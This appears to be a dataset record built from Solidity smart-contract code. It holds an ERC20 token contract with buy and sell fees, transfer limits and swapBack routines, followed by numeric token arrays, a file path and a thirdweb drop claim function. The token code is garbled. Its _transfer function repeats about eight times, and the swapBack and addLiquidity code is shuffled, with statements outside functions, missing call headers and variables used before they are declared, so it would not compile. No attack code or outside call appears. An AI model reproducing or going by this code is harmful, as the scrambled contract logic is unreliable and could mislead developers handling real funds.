!_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; swapAmountFee = swapTokensAtAmount - contractBalance; if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } } if(contractBalance == 0 || totalTokensToSwap == 0) {return;} function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; swapAmountFee = swapTokensAtAmount - contractBalance; if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } } uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; (success,) = address(devWallet).call{value: ethForDev}(""); function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; swapAmountFee = swapTokensAtAmount - contractBalance; if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } } (success,) = address(marketingWallet).call{value: address(this).balance}(""); function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); address(this), tokenAmount, address(this), block.timestamp ); } uniswapV2Router.addLiquidityETH{value: ethAmount}( }
16,014,979
[ 1, 14925, 77, 17, 4819, 471, 30959, 17, 3350, 5349, 7990, 471, 3152, 4433, 628, 1656, 281, 471, 943, 2492, 3844, 1707, 6138, 716, 279, 5859, 13667, 312, 6388, 5574, 18, 5502, 7412, 358, 4259, 6138, 3377, 506, 3221, 358, 279, 4207, 7412, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 4235, 673, 353, 4232, 39, 3462, 16, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 7010, 565, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 1071, 11732, 640, 291, 91, 438, 58, 22, 8259, 31, 203, 565, 1758, 1071, 11732, 640, 291, 91, 438, 58, 22, 4154, 31, 203, 7010, 565, 1426, 3238, 7720, 1382, 31, 203, 7010, 565, 1758, 3238, 13667, 310, 16936, 31, 203, 565, 1758, 3238, 4461, 16936, 31, 203, 7010, 565, 2254, 5034, 1071, 943, 3342, 6275, 31, 203, 565, 2254, 5034, 1071, 7720, 5157, 861, 6275, 31, 203, 565, 2254, 5034, 1071, 943, 16936, 31, 203, 565, 2254, 5034, 1071, 7720, 6275, 14667, 31, 203, 7010, 565, 1426, 1071, 8181, 382, 12477, 273, 638, 31, 203, 565, 1426, 1071, 1284, 7459, 3896, 273, 629, 31, 203, 565, 1426, 1071, 7720, 1526, 273, 629, 31, 203, 7010, 203, 565, 1426, 1071, 7412, 6763, 1526, 273, 638, 31, 203, 7010, 565, 2254, 5034, 1071, 30143, 5269, 2954, 281, 31, 203, 565, 2254, 5034, 1071, 30143, 3882, 21747, 14667, 31, 203, 565, 2254, 5034, 1071, 30143, 48, 18988, 24237, 14667, 31, 203, 565, 2254, 5034, 1071, 30143, 8870, 14667, 31, 203, 7010, 565, 2254, 5034, 1071, 357, 80, 5269, 2954, 281, 31, 203, 565, 2254, 5034, 1071, 357, 80, 3882, 21747, 14667, 31, 203, 565, 2254, 5034, 1071, 357, 80, 48, 18988, 24237, 14667, 31, 203, 565, 2254, 5034, 1071, 357, 80, 8870, 14667, 31, 203, 7010, 565, 2254, 5034, 1071, 2430, 1290, 3882, 21747, 2 ]
./full_match/5/0x70602a739Bb3Ead24E735b9C23E21FC1Da927524/sources/_thirdweb-dev/contracts/extension/DropSinglePhase.sol
//*/ @dev The active conditions for claiming tokens. @dev The ID for the active claim condition.//*/* @dev Map from an account and uid for a claim condition, to the last timestamp at which the account claimed tokens under that claim condition./* @dev Map from a claim condition uid to whether an address in an allowlist has already claimed tokens i.e. used their place in the allowlist.///*/ @dev Lets an account claim tokens. Verify inclusion in allowlist. Verify claim validity. If not valid, revert. when there's allowlist present --> verifyClaimMerkleProof will verify the maxQuantityInAllowlist value with hashed leaf in the allowlist when there's no allowlist, this check is true --> verifyClaim will check for _quantity being equal/less than the limit
) public payable virtual override { _beforeClaim(_receiver, _quantity, _currency, _pricePerToken, _allowlistProof, _data); bytes32 activeConditionId = conditionId; (bool validMerkleProof, ) = verifyClaimMerkleProof(_dropMsgSender(), _quantity, _allowlistProof); bool toVerifyMaxQuantityPerTransaction = _allowlistProof.maxQuantityInAllowlist == 0 || claimCondition.merkleRoot == bytes32(0); verifyClaim(_dropMsgSender(), _quantity, _currency, _pricePerToken, toVerifyMaxQuantityPerTransaction); if (validMerkleProof && _allowlistProof.maxQuantityInAllowlist > 0) { usedAllowlistSpot[activeConditionId].set(uint256(uint160(_dropMsgSender()))); lastClaimTimestamp[activeConditionId][_dropMsgSender()] = block.timestamp; emit TokensClaimed(_dropMsgSender(), _receiver, startTokenId, _quantity); _afterClaim(_receiver, _quantity, _currency, _pricePerToken, _allowlistProof, _data); }
1,867,921
[ 1, 28111, 225, 1021, 2695, 4636, 364, 7516, 310, 2430, 18, 225, 1021, 1599, 364, 326, 2695, 7516, 2269, 18, 28111, 282, 1635, 628, 392, 2236, 471, 4555, 364, 279, 7516, 2269, 16, 358, 326, 1142, 2858, 4202, 622, 1492, 326, 2236, 7516, 329, 2430, 3613, 716, 7516, 2269, 18, 19, 282, 1635, 628, 279, 7516, 2269, 4555, 358, 2856, 392, 1758, 316, 392, 1699, 1098, 4202, 711, 1818, 7516, 329, 2430, 277, 18, 73, 18, 1399, 3675, 3166, 316, 326, 1699, 1098, 18, 1307, 225, 511, 2413, 392, 2236, 7516, 2430, 18, 8553, 26485, 316, 1699, 1098, 18, 8553, 7516, 13800, 18, 971, 486, 923, 16, 15226, 18, 1347, 1915, 1807, 1699, 1098, 3430, 15431, 3929, 9762, 8478, 15609, 20439, 903, 3929, 326, 943, 12035, 382, 7009, 1098, 460, 598, 14242, 7839, 316, 326, 1699, 1098, 1347, 1915, 1807, 1158, 1699, 1098, 16, 333, 866, 353, 638, 15431, 2 ]
